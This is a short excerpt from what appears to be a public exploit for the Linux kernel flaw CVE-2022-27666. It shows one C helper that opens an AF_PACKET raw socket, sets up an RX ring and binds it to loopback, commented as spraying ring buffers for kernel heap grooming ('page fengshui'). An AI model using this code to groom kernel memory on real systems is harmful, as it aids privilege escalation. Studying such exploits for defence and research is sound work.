Function packet_socket_setup

CVE-2022-27666/exploit/exploit.c:1190–1215

spray ring_buffer to perform page fengshui (num: block_nr; size: block_size)

}
// spray ring_buffer to perform page fengshui (num: block_nr; size: block_size)
int packet_socket_setup(unsigned int block_size, unsigned int frame_size,
		unsigned int block_nr, unsigned int sizeof_priv, int timeout) {
	int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
	if (s < 0) {
		perror("[-] socket(AF_PACKET)");
		exit(EXIT_FAILURE);
	}

	packet_socket_rx_ring_init(s, block_size, frame_size, block_nr, sizeof_priv, timeout);  // setup socket rx_ring

	struct sockaddr_ll sa;
	memset(&sa, 0, sizeof(sa));
	sa.sll_family = PF_PACKET;
	sa.sll_protocol = htons(ETH_P_ALL);
	sa.sll_ifindex = if_nametoindex("lo");
	sa.sll_hatype = 0;
	sa.sll_pkttype = 0;
	sa.sll_halen = 0;

	int rv = bind(s, (struct sockaddr *)&sa, sizeof(sa));
	if (rv < 0) {
		perror("[-] bind(AF_PACKET)");
		exit(EXIT_FAILURE);
	}
	return s;
}

void initialise_shared(shared_data **data)
{